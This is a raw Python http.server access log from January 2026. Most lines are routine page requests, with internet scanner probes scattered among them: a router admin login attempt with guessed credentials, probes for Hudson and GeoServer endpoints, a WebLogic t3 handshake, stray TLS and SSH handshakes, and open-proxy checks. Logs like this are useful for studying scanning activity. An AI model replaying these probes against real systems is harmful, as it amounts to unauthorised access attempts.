HTTP/1.1" 404 - +72.255.26.23 - - [09/Jan/2026 20:14:40] code 404, message File not found +72.255.26.23 - - [09/Jan/2026 20:14:40] "GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0" 404 - +185.16.39.146 - - [09/Jan/2026 20:17:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 20:20:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 20:24:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 20:29:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 20:33:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 20:38:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 20:41:46] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 20:45:39] "GET / HTTP/1.1" 200 - +66.167.166.172 - - [09/Jan/2026 20:48:51] code 404, message File not found +66.167.166.172 - - [09/Jan/2026 20:48:51] "GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0" 404 - +185.16.39.146 - - [09/Jan/2026 20:51:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 20:55:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 20:58:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:03:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:08:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:12:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:16:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:21:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:25:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:29:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:34:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:38:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:41:52] "GET / HTTP/1.1" 200 - +180.149.125.170 - - [09/Jan/2026 21:45:49] code 404, message File not found +180.149.125.170 - - [09/Jan/2026 21:45:49] "GET /c/ HTTP/1.1" 404 - +185.16.39.146 - - [09/Jan/2026 21:46:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:51:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 21:55:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:00:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:03:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:08:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:13:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:17:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:21:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:25:43] "GET / HTTP/1.1" 200 - +62.171.139.212 - - [09/Jan/2026 22:27:08] code 404, message File not found +62.171.139.212 - - [09/Jan/2026 22:27:08] "GET /001565000000.cfg HTTP/1.1" 404 - +185.16.39.146 - - [09/Jan/2026 22:29:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:33:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:39:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:42:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:46:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:50:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:54:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 22:59:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 23:05:06] "GET / HTTP/1.1" 200 - +20.221.58.108 - - [09/Jan/2026 23:05:14] code 404, message File not found +20.221.58.108 - - [09/Jan/2026 23:05:14] "GET /hudson HTTP/1.1" 404 - +185.16.39.146 - - [09/Jan/2026 23:08:21] "GET / HTTP/1.1" 200 - +205.210.31.203 - - [09/Jan/2026 23:13:23] "GET / HTTP/1.0" 200 - +185.16.39.146 - - [09/Jan/2026 23:13:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 23:18:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 23:26:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 23:30:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 23:40:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 23:45:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 23:48:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 23:52:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [09/Jan/2026 23:58:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:01:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:05:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:10:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:14:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:20:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:24:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:27:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:33:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:36:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:41:46] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:46:17] "GET / HTTP/1.1" 200 - +205.210.31.72 - - [10/Jan/2026 00:48:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:50:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:53:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 00:58:58] "GET / HTTP/1.1" 200 - +45.156.128.130 - - [10/Jan/2026 01:03:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:04:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:08:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:11:29] "GET / HTTP/1.1" 200 - +165.154.41.232 - - [10/Jan/2026 01:15:06] "GET / HTTP/1.1" 200 - +165.154.41.232 - - [10/Jan/2026 01:15:06] code 400, message Bad request version ('[k®ó©±\\x8c!\\x06\\x9dɪã·\\x05V±') +165.154.41.232 - - [10/Jan/2026 01:15:06] "\x16\x03\x01\x00ò\x01\x00\x00î\x03\x03\x8dÀáã \x0dÏ\x0f\x96@ÓJ\x0c\x0c\x97ìÄhNÒb©Eê \x8fM+\x07Cuß [k®ó©±\x8c!\x06\x9dɪã·\x05V±" 400 - +165.154.41.232 - - [10/Jan/2026 01:15:07] code 400, message Bad HTTP/0.9 request type ('t3') +165.154.41.232 - - [10/Jan/2026 01:15:07] "t3 12.1.2" 400 - +185.16.39.146 - - [10/Jan/2026 01:16:31] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [10/Jan/2026 01:18:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:20:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:24:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:28:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:32:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:37:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:42:00] "GET / HTTP/1.1" 200 - +85.217.140.15 - - [10/Jan/2026 01:42:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:46:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:50:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:54:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 01:58:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:04:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:08:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:12:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:16:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:20:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:24:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:29:20] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('167.94.146.52', 40710) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +167.94.146.52 - - [10/Jan/2026 02:30:31] "GET / HTTP/1.1" 200 - +167.94.146.52 - - [10/Jan/2026 02:30:34] code 400, message Bad request version ('À\\x14À') +167.94.146.52 - - [10/Jan/2026 02:30:34] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03xOÛ7\x19OÀFÊ%?\x13¼Õ¿[Í\x85ÍN\x03é÷~ëî\x19¥\x93»\x92« \x05Ñ\x9e¯õR^h 0\x8aY\x88ç\x8a,\x03*T\x0bÈ\x12YÉq\x95Í3ÂK÷\x9b\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +167.94.146.52 - - [10/Jan/2026 02:30:34] "GET / HTTP/1.1" 200 - +167.94.146.52 - - [10/Jan/2026 02:30:34] code 505, message Invalid HTTP version (2.0) +167.94.146.52 - - [10/Jan/2026 02:30:34] "PRI * HTTP/2.0" 505 - +167.94.146.52 - - [10/Jan/2026 02:30:34] code 404, message File not found +167.94.146.52 - - [10/Jan/2026 02:30:34] "GET /favicon.ico HTTP/1.1" 404 - +167.94.146.52 - - [10/Jan/2026 02:30:37] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x01\\x00î\\x01\\x00\\x00ê\\x03\\x03d`\\x06±î\\x8d}W¿´}6oÝ(\\x95û<\\x7fwQ\\x0fwÅSË®\\x80\\x9f´\\x80å') +167.94.146.52 - - [10/Jan/2026 02:30:37] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03d`\x06±î\x8d}W¿´}6oÝ(\x95û<\x7fwQ\x0fwÅSË®\x80\x9f´\x80å D|O" 400 - +167.94.146.52 - - [10/Jan/2026 02:30:37] code 404, message File not found +167.94.146.52 - - [10/Jan/2026 02:30:37] "GET /login HTTP/1.1" 404 - +185.16.39.146 - - [10/Jan/2026 02:32:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:37:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:42:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:45:40] "GET / HTTP/1.1" 200 - +165.22.193.223 - - [10/Jan/2026 02:49:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:51:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:55:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 02:58:37] "GET / HTTP/1.1" 200 - +204.76.203.8 - - [10/Jan/2026 03:01:42] code 404, message File not found +204.76.203.8 - - [10/Jan/2026 03:01:42] "GET /geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0 HTTP/1.1" 404 - +185.16.39.146 - - [10/Jan/2026 03:03:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:08:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:13:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:17:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:20:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:26:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:30:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:33:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:38:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:42:16] "GET / HTTP/1.1" 200 - +101.36.108.133 - - [10/Jan/2026 03:44:49] "GET / HTTP/1.1" 200 - +101.36.108.133 - - [10/Jan/2026 03:44:49] code 404, message File not found +101.36.108.133 - - [10/Jan/2026 03:44:49] "GET /favicon.ico HTTP/1.1" 404 - +101.36.108.133 - - [10/Jan/2026 03:44:49] "GET /game.js HTTP/1.1" 200 - +101.36.108.133 - - [10/Jan/2026 03:44:50] code 404, message File not found +101.36.108.133 - - [10/Jan/2026 03:44:50] "GET /sitemap.xml HTTP/1.1" 404 - +101.36.108.133 - - [10/Jan/2026 03:44:50] code 404, message File not found +101.36.108.133 - - [10/Jan/2026 03:44:50] "GET /robots.txt HTTP/1.1" 404 - +185.16.39.146 - - [10/Jan/2026 03:46:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:51:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:56:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 03:59:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:04:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:08:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:12:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:17:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:21:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:26:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:30:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:33:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:37:46] "GET / HTTP/1.1" 200 - +147.185.132.70 - - [10/Jan/2026 04:38:06] code 400, message Bad request version ('À\\x13À') +147.185.132.70 - - [10/Jan/2026 04:38:06] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03&\x1bbQg\x8c$ã#©*Í\x9f\x83\x0bV¯\x82¼Z ÷\x9b\x1a{5ÛÉf\x81ÿ\x05 \x882òMôÄ%n5×Ó\x16d\x08\x85/ì\x9a?2ÞÇ\x97\x0b\x9e´aÁù9\x0b~\x00&À+À/À,À0̨̩À\x09À\x13À" 400 - +147.185.132.70 - - [10/Jan/2026 04:38:06] code 400, message Bad request syntax ('\\x16\\x03\\x01\\x00Ê\\x01\\x00\\x00Æ\\x03\\x03Ä]85\\x8e³¶¢Y1') +147.185.132.70 - - [10/Jan/2026 04:38:06] "\x16\x03\x01\x00Ê\x01\x00\x00Æ\x03\x03Ä]85\x8e³¶¢Y1" 400 - +185.16.39.146 - - [10/Jan/2026 04:44:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:47:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:53:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 04:56:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:00:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:05:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:08:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:14:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:18:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:22:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:26:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:31:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:34:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:40:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:43:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:48:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:52:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 05:56:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:01:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:05:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:10:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:14:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:19:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:23:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:28:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:32:47] "GET / HTTP/1.1" 200 - +65.49.1.202 - - [10/Jan/2026 06:35:41] code 400, message Bad request version ('À\\x14À') +65.49.1.202 - - [10/Jan/2026 06:35:41] "\x16\x03\x01\x00\x90\x01\x00\x00\x8c\x03\x03\x12\x1e\x06úâ\x0e¾Îþ*C\x12*\x9bDy÷Ý\x9d.÷\x9fWfºó\x0e]\x0bwÎ<\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +185.16.39.146 - - [10/Jan/2026 06:35:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:39:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:45:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:48:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:53:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 06:57:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:01:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:06:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:10:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:14:10] "GET / HTTP/1.1" 200 - +3.149.59.26 - - [10/Jan/2026 07:14:15] "GET / HTTP/1.1" 200 - +3.149.59.26 - - [10/Jan/2026 07:16:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:18:20] "GET / HTTP/1.1" 200 - +3.149.59.26 - - [10/Jan/2026 07:18:23] code 400, message Bad request version ('À\\x14À') +3.149.59.26 - - [10/Jan/2026 07:18:23] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03 Ãü\x10Aäa\x81ú\x9fyÎÌÄ\x85ÿtÕá­EÉ*¾MnÅбh¾\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +3.149.59.26 - - [10/Jan/2026 07:19:16] code 400, message Bad request syntax ('SSH-2.0-Go') +3.149.59.26 - - [10/Jan/2026 07:19:16] "SSH-2.0-Go" 400 - +3.149.59.26 - - [10/Jan/2026 07:20:31] code 400, message Bad request version ('À\\x14À') +3.149.59.26 - - [10/Jan/2026 07:20:31] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03¾ß\x17w×Ë\x9fà\x9e\x0b\x17\x91²bÍ\x92q\x90\x09ûµÕÐl¥~,(QcàÒ\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +185.16.39.146 - - [10/Jan/2026 07:23:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:28:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:32:59] "GET / HTTP/1.1" 200 - +64.62.156.212 - - [10/Jan/2026 07:35:28] code 400, message Bad request version ('À\\x14À') +64.62.156.212 - - [10/Jan/2026 07:35:28] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03 éá\x1bäèÜp\x03çÁ®¥¡©Û¼0úZViK\x1d\x92Ð\x89­:\x0f¡á\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +185.16.39.146 - - [10/Jan/2026 07:37:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:41:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:44:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:49:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:53:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 07:59:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:02:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:06:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:10:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:16:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:19:58] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [10/Jan/2026 08:23:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:24:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:28:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:33:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:38:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:42:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:46:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:50:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:55:23] "GET / HTTP/1.1" 200 - +89.110.97.157 - - [10/Jan/2026 08:57:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 08:59:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:04:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:08:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:13:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:17:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:22:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:28:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:30:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:35:53] "GET / HTTP/1.1" 200 - +130.12.180.74 - - [10/Jan/2026 09:37:48] code 404, message File not found +130.12.180.74 - - [10/Jan/2026 09:37:48] "GET /login HTTP/1.1" 404 - +185.16.39.146 - - [10/Jan/2026 09:40:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:45:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:49:01] "GET / HTTP/1.1" 200 - +77.247.195.90 - - [10/Jan/2026 09:52:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:54:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 09:58:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:02:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:07:11] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('66.132.153.61', 44440) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +66.132.153.61 - - [10/Jan/2026 10:10:48] "GET / HTTP/1.1" 200 - +66.132.153.61 - - [10/Jan/2026 10:10:51] code 400, message Bad request version ('À\\x14À') +66.132.153.61 - - [10/Jan/2026 10:10:51] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03Ý·*?g\x88\x00~T²ñ©\x80v\x9e¯\x9c×\x00\x99\x91 ½6Õ\x1b¡(Vy6a Ç\x92PY«ú@ÿr\x0f\x08µA\x9a׳[Àò\x13\x99%ìs\x174uåøÁçz\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +66.132.153.61 - - [10/Jan/2026 10:10:51] "GET / HTTP/1.1" 200 - +66.132.153.61 - - [10/Jan/2026 10:10:52] code 505, message Invalid HTTP version (2.0) +66.132.153.61 - - [10/Jan/2026 10:10:52] "PRI * HTTP/2.0" 505 - +66.132.153.61 - - [10/Jan/2026 10:10:52] code 404, message File not found +66.132.153.61 - - [10/Jan/2026 10:10:52] "GET /favicon.ico HTTP/1.1" 404 - +66.132.153.61 - - [10/Jan/2026 10:10:55] code 400, message Bad request version ('À\\x14À') +66.132.153.61 - - [10/Jan/2026 10:10:55] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03Ó5Ð\x8dUBb\x16\x1epé'o}\x09NÂup½\x1fä{\x8a\x89Ðz\x19Ë ã$ ÓÔQø\x88·\x98GǤR }¸\x86\x81Æ­\x90[¥]1¢Y\x07ë8Â\x17\x8fª\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +66.132.153.61 - - [10/Jan/2026 10:10:55] code 404, message File not found +66.132.153.61 - - [10/Jan/2026 10:10:55] "GET /robots.txt HTTP/1.1" 404 - +185.16.39.146 - - [10/Jan/2026 10:11:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:16:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:20:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:24:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:28:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:33:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:38:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:42:10] "GET / HTTP/1.1" 200 - +65.49.1.80 - - [10/Jan/2026 10:42:23] "GET / HTTP/1.1" 200 - +65.49.1.86 - - [10/Jan/2026 10:42:52] code 404, message File not found +65.49.1.86 - - [10/Jan/2026 10:42:52] "GET /favicon.ico HTTP/1.1" 404 - +65.49.1.83 - - [10/Jan/2026 10:43:11] code 404, message File not found +65.49.1.83 - - [10/Jan/2026 10:43:11] "GET http://api.ipify.org/?format=json HTTP/1.1" 404 - +65.49.1.90 - - [10/Jan/2026 10:43:23] code 501, message Unsupported method ('CONNECT') +65.49.1.90 - - [10/Jan/2026 10:43:23] "CONNECT www.shadowserver.org:443 HTTP/1.1" 501 - +65.49.1.80 - - [10/Jan/2026 10:43:36] code 404, message File not found +65.49.1.80 - - [10/Jan/2026 10:43:36] "GET /geoserver/web/ HTTP/1.1" 404 - +185.16.39.146 - - [10/Jan/2026 10:46:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:50:39] "GET / HTTP/1.1" 200 - 